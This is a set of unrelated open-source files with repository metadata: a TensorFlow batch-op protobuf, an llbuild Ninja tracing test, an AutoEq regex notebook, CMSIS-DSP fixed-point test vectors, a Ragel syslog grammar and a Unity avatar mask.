import "google/protobuf/wrappers.proto";
// Config for the batch op rewriter. This should be serialized
// and set a param in RewriterConfig with key kBatchOpRewriteParamKey.
message BatchOpRewriteConfig {
bool enable_adaptive_shared_batching_thread_pool = 4;
// The options for tensorflow::serving::AdaptiveSharedBatchScheduler.
// See AdaptiveSharedBatchScheduler::Options for meaning of each field.
//
// NOTE:
// Leave this unset to pick up default settings which should work for most
// scenarios.
//
// Example scenarios when tuning helps:
// * Latency sensitive
message AdaptiveBatchSchedulerOption {
google.protobuf.UInt32Value min_inflight_batches_limit = 1;
google.protobuf.UInt32Value initial_inflight_batches_limit = 2;
google.protobuf.UInt32Value max_inflight_batches_limit = 3;
// You can use QPS as a reference to decide how quickly to react to workload
// changes.
google.protobuf.UInt32Value batches_to_average_over = 4;
}
// Keyed by model name, meaning all batch-ops in one saved model would use the
// same adaptive-batch-scheduler option.
map<string /* model name */, AdaptiveBatchSchedulerOption>
model_scheduler_options = 1;
}
| Protocol Buffer | 5 | EricRemmerswaal/tensorflow | tensorflow/core/grappler/optimizers/inference/batch_op_rewriter.proto | [
"Apache-2.0"
] |
# Check build engine tracing on a trivial example.
# We run the build in a sandbox in the temp directory to ensure we don't
# interact with the source dirs.
#
# RUN: rm -rf %t.build
# RUN: mkdir -p %t.build
# RUN: cp %s %t.build/build.ninja
# RUN: %{llbuild} ninja build --jobs 1 --chdir %t.build --no-db --trace %t.trace-out
# RUN: %{FileCheck} --input-file %t.trace-out %s
# The first task we see is for the "dummy" rule...
#
# CHECK: { "new-rule", "[[RULE1:.*]]", "{{/.*/}}dummy" },
# CHECK: { "checking-rule-needs-to-run", "[[RULE1]]" },
# CHECK: { "rule-needs-to-run", "[[RULE1]]", "never-built" },
# CHECK: { "new-task", "[[TASK1:.*]]" },
# CHECK: { "created-task-for-rule", "[[TASK1]]", "[[RULE1]]" },
# ... which then asks for the input from the "dummy-A" rule, which triggers the
# creation of its task (and registers the pending task [[TASK1]] with that rule).
#
# CHECK: { "new-rule", "[[RULE2:.*]]", "{{/.*/}}dummy-A" },
# CHECK: { "handling-task-input-request", "[[TASK1]]", "[[RULE2]]" },
# CHECK: { "new-task", "[[TASK2:.*]]" },
# CHECK: { "created-task-for-rule", "[[TASK2]]", "[[RULE2]]" },
# CHECK: { "added-rule-pending-task", "[[RULE2]]", "[[TASK1]]" },
# The task for "dummy-A" has no inputs, so it then completes and pushes its
# finished input request...
#
# CHECK: { "finished-task", "[[TASK2]]", "[[RULE2]]", "changed" },
# CHECK: { "readying-task-input-request", "[[TASK1]]", "[[RULE2]]" },
# CHECK: { "completed-task-input-request", "[[TASK1]]", "[[RULE2]]" },
# CHECK: { "updated-task-wait-count", "[[TASK1]]", 0 },
# That unblocks [[TASK1]], which then finishes...
#
# CHECK: { "unblocked-task", "[[TASK1]]" },
# CHECK: { "finished-task", "[[TASK1]]", "[[RULE1]]", "changed" },
build dummy-A: phony
build dummy: phony dummy-A
default dummy
| Ninja | 5 | allevato/swift-llbuild | tests/Ninja/Build/tracing.ninja | [
"Apache-2.0"
] |
{
"cells": [
{
"cell_type": "code",
"execution_count": 1,
"metadata": {},
"outputs": [],
"source": [
"%load_ext autoreload\n",
"%autoreload 2"
]
},
{
"cell_type": "code",
"execution_count": 2,
"metadata": {},
"outputs": [],
"source": [
"import os\n",
"import sys\n",
"from pathlib import Path\n",
"ROOT_DIR = os.path.abspath(os.path.join(Path().absolute(), os.pardir))\n",
"sys.path.insert(1, ROOT_DIR)"
]
},
{
"cell_type": "code",
"execution_count": 3,
"metadata": {},
"outputs": [],
"source": [
"from time import time\n",
"import numpy as np\n",
"import scipy\n",
"import matplotlib.pyplot as plt\n",
"from frequency_response import FrequencyResponse"
]
},
{
"cell_type": "code",
"execution_count": 15,
"metadata": {},
"outputs": [],
"source": [
"import re\n",
"header_pattern = r'frequency(,(raw|smoothed|error|error_smoothed|equalization|parametric_eq|fixed_band_eq|equalized_raw|equalized_smoothed|target))+'\n",
"float_pattern = r'-?\\d+\\.?\\d+'\n",
"data_2_pattern = r'{fl}[ ,;:\\t]+{fl}?'.format(fl=float_pattern)\n",
"data_n_pattern = r'{fl}([ ,;:\\t]+{fl})+?'.format(fl=float_pattern)\n",
"autoeq_pattern = r'^{header}(\\n{data})+\\n*$'.format(header=header_pattern, data=data_n_pattern)"
]
},
{
"cell_type": "code",
"execution_count": 19,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Header: frequency,raw,error,smoothed,error_smoothed,equalization,parametric_eq,fixed_band_eq,equalized_raw,equalized_smoothed,target\n",
"Header pattern match: frequency,raw,error,smoothed,error\n",
"Header pattern match: frequency,parametric_eq,fixed_band_eq,equalized_raw,equalized_smoothed,target\n",
"Data n pattern match: 20.00,-3.60\n",
"frequency,raw,error,smoothed,error_smoothed,equalization,parametric_eq,fixed_band_eq,equalized_raw,equalized_smoothed,target\n",
"20.00,-3.60,-5.95,-3.61,-5.99,5.99,5.00,2.10,2.39,2.37,2.35\n",
"<re.Match object; span=(0, 43103), match='frequency,raw,error,smoothed,error_smoothed,equal>\n"
]
}
],
"source": [
"with open(os.path.join(ROOT_DIR, 'results', 'oratory1990', 'harman_over-ear_2018', 'Sennheiser HD 800', 'Sennheiser HD 800.csv'), 'r', encoding='utf-8') as fh:\n",
" s = fh.read()\n",
" lines = s.split('\\n')\n",
"header = lines[0]\n",
"print('Header:', header)\n",
"print('Header pattern match:', re.match(header_pattern, header)[0])\n",
"print('Header pattern match:', re.match(header_pattern, 'frequency,parametric_eq,fixed_band_eq,equalized_raw,equalized_smoothed,target')[0])\n",
"print('Data n pattern match:', re.match(data_n_pattern, lines[1])[0])\n",
"print(re.match(rf'^{header_pattern}\\n{data_n_pattern}.*', s)[0])\n",
"print(re.match(autoeq_pattern, s))"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "AutoEq (Python 3.7)",
"language": "python",
"name": "autoeq"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.7.4"
}
},
"nbformat": 4,
"nbformat_minor": 4
}
| Jupyter Notebook | 3 | vinzmc/AutoEq | research/result_csv_read.ipynb | [
"MIT"
] |
static const q15_t in_q15[256] = {
0x4E35, 0x2893, 0x5C35, 0x6209, 0x070C, 0x72E1, 0x717A, 0x4BAB,
0x3D7E, 0x0168, 0x5190, 0x5F3F, 0x33E5, 0x7D25, 0x7CF2, 0x15CE,
0x2827, 0x6DD0, 0x6A4C, 0x4D51, 0x62B9, 0x3F0E, 0x5DE4, 0x5F21,
0x4EF5, 0x6F23, 0x528A, 0x3932, 0x5C83, 0x68C5, 0x5654, 0x0424,
0x5D37, 0x2280, 0x3AA1, 0x40FB, 0x19E5, 0x76EA, 0x07EA, 0x26D1,
0x14F1, 0x36D2, 0x75B8, 0x5410, 0x6CD4, 0x413A, 0x5BDD, 0x26B4,
0x49A3, 0x29F3, 0x2983, 0x7109, 0x66E8, 0x1624, 0x7516, 0x6C5A,
0x32D9, 0x2A9D, 0x5834, 0x0C4F, 0x352C, 0x546A, 0x19CF, 0x43B6,
0x6905, 0x21CC, 0x1A26, 0x4CB5, 0x380F, 0x3161, 0x5598, 0x7965,
0x4E89, 0x5897, 0x18AB, 0x33B3, 0x06B1, 0x0D55, 0x6A48, 0x5343,
0x3BB9, 0x7441, 0x1538, 0x2754, 0x0C16, 0x5B51, 0x3C6E, 0x5B57,
0x5FD9, 0x206A, 0x2661, 0x6CE8, 0x5792, 0x277D, 0x0727, 0x2067,
0x6708, 0x1148, 0x2F01, 0x7E04, 0x0A30, 0x39E9, 0x36B6, 0x1EB7,
0x0E12, 0x4EBC, 0x796C, 0x181C, 0x784D, 0x0E4A, 0x66D1, 0x5C2C,
0x1DB7, 0x4729, 0x748E, 0x1C03, 0x7449, 0x674D, 0x318D, 0x15AF,
0x378A, 0x15B8, 0x65BD, 0x5EB7, 0x057A, 0x15CC, 0x4300, 0x3300,
0x2DBB, 0x7756, 0x1856, 0x6DA7, 0x4C7B, 0x6181, 0x19DE, 0x1085,
0x0CFC, 0x7922, 0x454D, 0x51FC, 0x377B, 0x26B6, 0x1501, 0x72F0,
0x797E, 0x353F, 0x33CC, 0x6369, 0x24F1, 0x2844, 0x6BEE, 0x676F,
0x7C32, 0x17F1, 0x0F04, 0x6FB1, 0x0AB0, 0x55D0, 0x19C9, 0x3588,
0x53A6, 0x1FF6, 0x32A6, 0x6F44, 0x1EEB, 0x61FE, 0x0984, 0x271A,
0x2C19, 0x6D31, 0x2836, 0x57BE, 0x37AC, 0x36C3, 0x667F, 0x7D4A,
0x6EA0, 0x1D7B, 0x2CF0, 0x0846, 0x518C, 0x7F37, 0x483A, 0x4F70,
0x366E, 0x7730, 0x66B1, 0x263B, 0x0278, 0x296F, 0x3DE0, 0x2CE2,
0x38BA, 0x50D0, 0x064D, 0x3160, 0x5B9D, 0x05CB, 0x43CC, 0x6476,
0x0775, 0x3BA0, 0x05CB, 0x51F4, 0x7FFF, 0x3C93, 0x0CE2, 0x33D2,
0x0B3A, 0x1C88, 0x612F, 0x2031, 0x6447, 0x1E41, 0x173D, 0x28B3,
0x2E24, 0x450A, 0x1669, 0x3542, 0x71D0, 0x34CF, 0x0FB2, 0x5103,
0x023D, 0x72D9, 0x561E, 0x5D2C, 0x125E, 0x5B47, 0x7874, 0x26D8,
0x061F, 0x28EB, 0x15EA, 0x2726, 0x367B, 0x3143, 0x586A, 0x4682,
0x0A22, 0x2CB6, 0x2582, 0x6FC3, 0x665F, 0x41EE, 0x3B34, 0x683D,
0x63EA, 0x026F, 0x2E83, 0x7F49, 0x3ABB, 0x3C45, 0x7D6D, 0x5218
};
static const uint32_t ref_f32[256] = {
0x3f1c6adf, 0x3ea24a37, 0x3f386a1e, 0x3f44112b,
0x3d6179b4, 0x3f65c290, 0x3f62f448, 0x3f1756f9,
0x3ef5f730, 0x3c33e8f0, 0x3f231fde, 0x3f3e7d32,
0x3ecf947a, 0x3f7a4a7c, 0x3f79e440, 0x3e2e716b,
0x3ea09c7b, 0x3f5ba0b4, 0x3f549707, 0x3f1aa2b2,
0x3f4571a3, 0x3efc3806, 0x3f3bc761, 0x3f3e41ff,
0x3f1de9df, 0x3f5e46b9, 0x3f2514d3, 0x3ee4c73a,
0x3f390678, 0x3f518aaa, 0x3f2ca835, 0x3d047d1e,
0x3f3a6ee4, 0x3e8a00da, 0x3eea8418, 0x3f01f5ce,
0x3e4f2ba3, 0x3f6dd342, 0x3d7d4f61, 0x3e9b44a5,
0x3e278813, 0x3edb48c0, 0x3f6b6f24, 0x3f281f06,
0x3f59a88c, 0x3f0274ad, 0x3f37b987, 0x3e9ad1e3,
0x3f1346b2, 0x3ea7ca06, 0x3ea60d3c, 0x3f6212b4,
0x3f4dcfa3, 0x3e311d94, 0x3f6a2b13, 0x3f58b474,
0x3ecb64be, 0x3eaa7563, 0x3f30686e, 0x3dc4f5d2,
0x3ed4afbd, 0x3f28d432, 0x3e4e7858, 0x3f076bc8,
0x3f5209f9, 0x3e872e95, 0x3e513169, 0x3f196a9d,
0x3ee03d32, 0x3ec584d1, 0x3f2b3085, 0x3f72c925,
0x3f1d12df, 0x3f312d56, 0x3e455660, 0x3ececb5e,
0x3d562ef9, 0x3dd54e32, 0x3f5490b4, 0x3f26862c,
0x3eeee38c, 0x3f6882e1, 0x3e29c15a, 0x3e9d4ec6,
0x3dc162d6, 0x3f36a194, 0x3ef1b6d7, 0x3f36ad51,
0x3f3fb1a1, 0x3e81a668, 0x3e9983bd, 0x3f59d079,
0x3f2f23f2, 0x3e9df4d7, 0x3d64dcb6, 0x3e819aae,
0x3f4e0f7c, 0x3e0a41b1, 0x3ebc03bc, 0x3f7c077e,
0x3da3061f, 0x3ee7a377, 0x3edad8d4, 0x3e75bb59,
0x3de11a61, 0x3f1d78fc, 0x3f72d753, 0x3e40dc61,
0x3f70995e, 0x3de49c49, 0x3f4da2d1, 0x3f38580b,
0x3e6db795, 0x3f0e5130, 0x3f691b6a, 0x3e601bb4,
0x3f689196, 0x3f4e9a4c, 0x3ec632cb, 0x3e2d7456,
0x3ede27b5, 0x3e2dbca6, 0x3f4b7a94, 0x3f3d6dd8,
0x3d2f3272, 0x3e2e633a, 0x3f060079, 0x3ecbfed7,
0x3eb6eca3, 0x3f6eab73, 0x3e42acc0, 0x3f5b4d4d,
0x3f18f55d, 0x3f43020f, 0x3e4eed62, 0x3e042b89,
0x3dcfbc03, 0x3f7243ee, 0x3f0a9aef, 0x3f23f737,
0x3eddeb97, 0x3e9ad60e, 0x3e280b49, 0x3f65e036,
0x3f72fb0f, 0x3ed4fb48, 0x3ecf2ea5, 0x3f46d277,
0x3e93c491, 0x3ea111b1, 0x3f57db68, 0x3f4ede18,
0x3f786390, 0x3e3f87b3, 0x3df03b70, 0x3f5f6193,
0x3daafbaf, 0x3f2b9fe6, 0x3e4e4865, 0x3ed62047,
0x3f274b78, 0x3e7fac39, 0x3eca98a6, 0x3f5e8763,
0x3e7754fd, 0x3f43fc3d, 0x3d9847fb, 0x3e9c680b,
0x3eb06547, 0x3f5a6106, 0x3ea0d6ff, 0x3f2f7be1,
0x3edeaf43, 0x3edb0c8f, 0x3f4cfe9e, 0x3f7a94e4,
0x3f5d4054, 0x3e6bd528, 0x3eb3bfba, 0x3d846680,
0x3f231854, 0x3f7e6d38, 0x3f1074bc, 0x3f1edf0c,
0x3ed9b78d, 0x3f6e608f, 0x3f4d625d, 0x3e98ed59,
0x3c9deb17, 0x3ea5bb1e, 0x3ef781da, 0x3eb3893a,
0x3ee2e632, 0x3f21a06c, 0x3d4995a8, 0x3ec57e3c,
0x3f373a76, 0x3d395b3a, 0x3f079784, 0x3f48ebf5,
0x3d6e966c, 0x3eee7f49, 0x3d396f94, 0x3f23e85e,
0x3f800000, 0x3ef24a1c, 0x3dce2272, 0x3ecf46d4,
0x3db3a4c5, 0x3e64437f, 0x3f425d6c, 0x3e80c515,
0x3f488ebe, 0x3e720bec, 0x3e39eb72, 0x3ea2cc82,
0x3eb890e8, 0x3f0a1455, 0x3e334bfd, 0x3ed50920,
0x3f63a024, 0x3ed33aa2, 0x3dfb261c, 0x3f2205af,
0x3c8f3ca1, 0x3f65b290, 0x3f2c3bf5, 0x3f3a5847,
0x3e12eea4, 0x3f368e27, 0x3f70e89a, 0x3e9b5e42,
0x3d43d67a, 0x3ea3adcf, 0x3e2f50fa, 0x3e9c9609,
0x3ed9eaf7, 0x3ec50b41, 0x3f30d3cd, 0x3f0d042b,
0x3da21a63, 0x3eb2d75a, 0x3e9608d6, 0x3f5f85e1,
0x3f4cbdcf, 0x3f03dc84, 0x3eeccfaf, 0x3f507909,
0x3f47d355, 0x3c9bd261, 0x3eba0b10, 0x3f7e92cf,
0x3eeaebe9, 0x3ef11366, 0x3f7ad9e7, 0x3f243041
};
static const q31_t ref_q31[256] = {
0x4E356F7A, 0x28928DB2, 0x5C350EDE, 0x6208959D,
0x070BCD9C, 0x72E147FF, 0x717A23FC, 0x4BAB7CAC,
0x3D7DCBE2, 0x0167D1E1, 0x518FEEDD, 0x5F3E990D,
0x33E51E69, 0x7D253DD3, 0x7CF2203D, 0x15CE2D64,
0x28271EAD, 0x6DD059E2, 0x6A4B83A7, 0x4D515914,
0x62B8D177, 0x3F0E0162, 0x5DE3B0AC, 0x5F20FFB9,
0x4EF4EF7B, 0x6F235C5B, 0x528A698F, 0x3931CE74,
0x5C833BC4, 0x68C55513, 0x56541A7A, 0x0423E8F2,
0x5D37720D, 0x2280368F, 0x3AA1061A, 0x40FAE6DA,
0x19E57462, 0x76E9A0DF, 0x07EA7B08, 0x26D1295B,
0x14F10256, 0x36D22FFB, 0x75B79235, 0x540F8339,
0x6CD445EA, 0x413A5670, 0x5BDCC361, 0x26B478C9,
0x49A358CF, 0x29F28166, 0x29834EEF, 0x710959C8,
0x66E7D1BC, 0x1623B282, 0x7515898A, 0x6C5A3A2C,
0x32D92F9A, 0x2A9D58A2, 0x583436DA, 0x0C4F5D21,
0x352BEF39, 0x546A18D9, 0x19CF0B0B, 0x43B5E428,
0x6904FC9F, 0x21CBA54F, 0x1A262D24, 0x4CB54E90,
0x380F4C85, 0x31613436, 0x55984276, 0x79649269,
0x4E896F72, 0x5896AAC6, 0x18AACC08, 0x33B2D783,
0x06B177CA, 0x0D54E324, 0x6A485A1D, 0x5343162B,
0x3BB8E2EA, 0x74417061, 0x15382B4D, 0x2753B19A,
0x0C162D66, 0x5B50CA29, 0x3C6DB5BE, 0x5B56A88E,
0x5FD8D049, 0x206999F3, 0x2660EF48, 0x6CE83CA6,
0x5791F8E0, 0x277D35DB, 0x0726E5B4, 0x2066AB77,
0x6707BE2A, 0x1148362C, 0x2F00EF12, 0x7E03BEEC,
0x0A3061F6, 0x39E8DDCE, 0x36B63511, 0x1EB76B25,
0x0E11A613, 0x4EBC7DD5, 0x796BA993, 0x181B8C30,
0x784CAEDD, 0x0E49C493, 0x66D16882, 0x5C2C0565,
0x1DB6F29F, 0x472897C0, 0x748DB539, 0x1C03768A,
0x7448CB17, 0x674D260E, 0x318CB2D4, 0x15AE8AC4,
0x3789ED26, 0x15B794C8, 0x65BD4A13, 0x5EB6EBD7,
0x0579938F, 0x15CC6748, 0x43003CBC, 0x32FFB5C5,
0x2DBB28DC, 0x7755B9AB, 0x18559805, 0x6DA6A652,
0x4C7AAEAC, 0x6181077B, 0x19DDAC3A, 0x1085712E,
0x0CFBC02B, 0x7921F70B, 0x454D7794, 0x51FB9B5F,
0x377AE5D7, 0x26B58382, 0x15016922, 0x72F01AFE,
0x797D87AE, 0x353ED1EE, 0x33CBA95A, 0x63693B4D,
0x24F1242C, 0x28446C36, 0x6BEDB406, 0x676F0BE8,
0x7C31C81B, 0x17F0F652, 0x0F03B701, 0x6FB0C9B4,
0x0AAFBAF7, 0x55CFF2FD, 0x19C90C9E, 0x358811B6,
0x53A5BBD6, 0x1FF5872D, 0x32A62971, 0x6F43B195,
0x1EEA9F9D, 0x61FE1E5B, 0x09847FB1, 0x271A02AD,
0x2C1951D5, 0x6D308301, 0x2835BFB9, 0x57BDF074,
0x37ABD0AA, 0x36C323AC, 0x667F4ECC, 0x7D4A7213,
0x6EA029D2, 0x1D7AA50C, 0x2CEFEE9E, 0x084667F9,
0x518C29DC, 0x7F369C2F, 0x483A5DE1, 0x4F6F85CE,
0x366DE326, 0x773047AD, 0x66B12E6C, 0x263B5634,
0x0277AC5D, 0x296EC763, 0x3DE0768E, 0x2CE24E9A,
0x38B98C79, 0x50D0361D, 0x064CAD42, 0x315F8F1B,
0x5B9D3B20, 0x05CAD9D3, 0x43CBC1EE, 0x6475FA94,
0x0774B35E, 0x3B9FD24B, 0x05CB7CA4, 0x51F42F1E,
0x7FFFFFFF, 0x3C9286F0, 0x0CE2271E, 0x33D1B51E,
0x0B3A4C4C, 0x1C886FD5, 0x612EB635, 0x2031454B,
0x64475EE2, 0x1E417D73, 0x173D6E35, 0x28B32076,
0x2E243A09, 0x450A2A80, 0x16697FAF, 0x35424805,
0x71D01213, 0x34CEA8A0, 0x0FB261C7, 0x5102D7BB,
0x023CF284, 0x72D94811, 0x561DFA82, 0x5D2C237D,
0x125DD473, 0x5B47135C, 0x78744D12, 0x26D79069,
0x061EB3CD, 0x28EB73A0, 0x15EA1F4F, 0x2725824F,
0x367ABDB1, 0x3142D05D, 0x5869E69E, 0x468215A4,
0x0A21A635, 0x2CB5D678, 0x25823571, 0x6FC2F050,
0x665EE758, 0x41EE4214, 0x3B33EBAC, 0x683C8453,
0x63E9AA61, 0x026F4985, 0x2E82C3EE, 0x7F496791,
0x3ABAFA39, 0x3C44D984, 0x7D6CF392, 0x52182073
};
static const q7_t ref_q7[256] = {
0x4E, 0x29, 0x5C, 0x62, 0x07, 0x73, 0x71, 0x4C,
0x3D, 0x01, 0x52, 0x5F, 0x34, 0x7D, 0x7D, 0x16,
0x28, 0x6E, 0x6A, 0x4D, 0x63, 0x3F, 0x5E, 0x5F,
0x4F, 0x6F, 0x53, 0x39, 0x5D, 0x69, 0x56, 0x04,
0x5D, 0x23, 0x3B, 0x41, 0x1A, 0x77, 0x08, 0x27,
0x15, 0x37, 0x76, 0x54, 0x6D, 0x41, 0x5C, 0x27,
0x4A, 0x2A, 0x2A, 0x71, 0x67, 0x16, 0x75, 0x6C,
0x33, 0x2B, 0x58, 0x0C, 0x35, 0x54, 0x1A, 0x44,
0x69, 0x22, 0x1A, 0x4D, 0x38, 0x31, 0x56, 0x79,
0x4F, 0x59, 0x19, 0x34, 0x07, 0x0D, 0x6A, 0x53,
0x3C, 0x74, 0x15, 0x27, 0x0C, 0x5B, 0x3C, 0x5B,
0x60, 0x20, 0x26, 0x6D, 0x58, 0x27, 0x07, 0x20,
0x67, 0x11, 0x2F, 0x7E, 0x0A, 0x3A, 0x37, 0x1F,
0x0E, 0x4F, 0x79, 0x18, 0x78, 0x0E, 0x67, 0x5C,
0x1E, 0x47, 0x75, 0x1C, 0x74, 0x67, 0x32, 0x16,
0x38, 0x16, 0x66, 0x5F, 0x05, 0x16, 0x43, 0x33,
0x2E, 0x77, 0x18, 0x6E, 0x4C, 0x62, 0x1A, 0x11,
0x0D, 0x79, 0x45, 0x52, 0x37, 0x27, 0x15, 0x73,
0x79, 0x35, 0x34, 0x63, 0x25, 0x28, 0x6C, 0x67,
0x7C, 0x18, 0x0F, 0x70, 0x0B, 0x56, 0x1A, 0x36,
0x54, 0x20, 0x33, 0x6F, 0x1F, 0x62, 0x0A, 0x27,
0x2C, 0x6D, 0x28, 0x58, 0x38, 0x37, 0x66, 0x7D,
0x6F, 0x1D, 0x2D, 0x08, 0x52, 0x7F, 0x48, 0x4F,
0x36, 0x77, 0x67, 0x26, 0x02, 0x29, 0x3E, 0x2D,
0x39, 0x51, 0x06, 0x31, 0x5C, 0x06, 0x44, 0x64,
0x07, 0x3C, 0x06, 0x52, 0x7F, 0x3D, 0x0D, 0x34,
0x0B, 0x1D, 0x61, 0x20, 0x64, 0x1E, 0x17, 0x29,
0x2E, 0x45, 0x16, 0x35, 0x72, 0x35, 0x10, 0x51,
0x02, 0x73, 0x56, 0x5D, 0x12, 0x5B, 0x78, 0x27,
0x06, 0x29, 0x16, 0x27, 0x36, 0x31, 0x58, 0x47,
0x0A, 0x2D, 0x26, 0x70, 0x66, 0x42, 0x3B, 0x68,
0x64, 0x02, 0x2F, 0x7F, 0x3B, 0x3C, 0x7D, 0x52
};
| Max | 3 | Trifunik/zephyr | tests/lib/cmsis_dsp/support/src/q15.pat | [
"Apache-2.0"
] |
%%{
machine common;
action tok {
tok = p
}
action priority {
event.SetPriority(data[tok:p])
}
action message {
event.SetMessage(data[tok:p])
}
action month {
event.SetMonth(data[tok:p])
}
action year{
event.SetYear(data[tok:p])
}
action month_numeric {
event.SetMonthNumeric(data[tok:p])
}
action day {
event.SetDay(data[tok:p])
}
action hour {
event.SetHour(data[tok:p])
}
action minute {
event.SetMinute(data[tok:p])
}
action second {
event.SetSecond(data[tok:p])
}
action nanosecond{
event.SetNanosecond(data[tok:p])
}
action init_data{
event.data = EventData{}
}
action init_sd_param{
state.sd_value_bs = []int{}
}
action set_sd_param_name{
state.sd_param_name = string(data[tok:p])
}
action set_sd_param_value{
event.SetData(state.sd_id, state.sd_param_name, data, tok, p, state.sd_value_bs)
}
action set_sd_id{
state.sd_id = string(data[tok:p])
if _, ok := event.data[ state.sd_id ]; ok {
fhold;
} else {
event.data[state.sd_id] = map[string]string{}
}
}
action set_bs{
state.sd_value_bs = append(state.sd_value_bs, p)
}
# NOTES: This allow to bail out of obvious non valid
# hostname, this might not be ideal in all situation, but
# when this happen we just go to the catch all case and at least
# extract the message
action lookahead_duplicates{
if p-1 > 0 {
for _, b := range noDuplicates {
if data[p] == b && data[p-1] == b {
p = tok -1
fgoto catch_all;
}
}
}
}
action hostname {
event.SetHostname(data[tok:p])
}
action program {
event.SetProgram(data[tok:p])
}
action pid {
event.SetPid(data[tok:p])
}
action timezone {
event.SetTimeZone(data[tok:p])
}
action sequence {
event.SetSequence(data[tok:p])
}
action version{
event.SetVersion(data[tok:p])
}
action app_name{
event.SetAppName(data[tok:p])
}
action proc_id {
event.SetProcID(data[tok:p])
}
action msg_id {
event.SetMsgID(data[tok:p])
}
SP = ' ';
# backslash "\"
BS = 0x5C;
NIL_VALUE = "-";
PRINT_US_ASCII = 0x21..0x7E;
NONZERO_DIGIT = [1-9];
# OCTET = 0x00..0xFF;
OCTET = any;
BOM = 0xEF 0xBB 0xBF;
UTF_8_STRING = OCTET*;
}%%
| Ragel in Ruby Host | 4 | tetianakravchenko/beats | filebeat/input/syslog/parser/common.rl | [
"ECL-2.0",
"Apache-2.0"
] |
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m_Name: Avatar Mask
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m_Weight: 1
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m_Weight: 1
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Head/Bip01 LCaninus
m_Weight: 0
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Head/Bip01 LCheek
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m_Weight: 1
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m_Weight: 1
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m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
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m_Weight: 0
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Head/Bip01 MNose
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
Head/Bip01 MUpperLip
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
Head/Bip01 RCaninus
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
Head/Bip01 RCheek
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
Head/Bip01 REye
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
Head/Bip01 REyeBlinkBottom
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
Head/Bip01 REyeBlinkTop
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
Head/Bip01 RInnerEyebrow
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
Head/Bip01 RMasseter
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
Head/Bip01 RMouthCorner
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
Head/Bip01 ROuterEyebrow
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 Neck/Bip01
Head/Bip01 RUpperlip
m_Weight: 0
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger0
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger0/Bip01 R Finger01
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger0/Bip01 R Finger01/Bip01
R Finger02
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger1
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger1/Bip01 R Finger11
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger1/Bip01 R Finger11/Bip01
R Finger12
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger2
m_Weight: 1
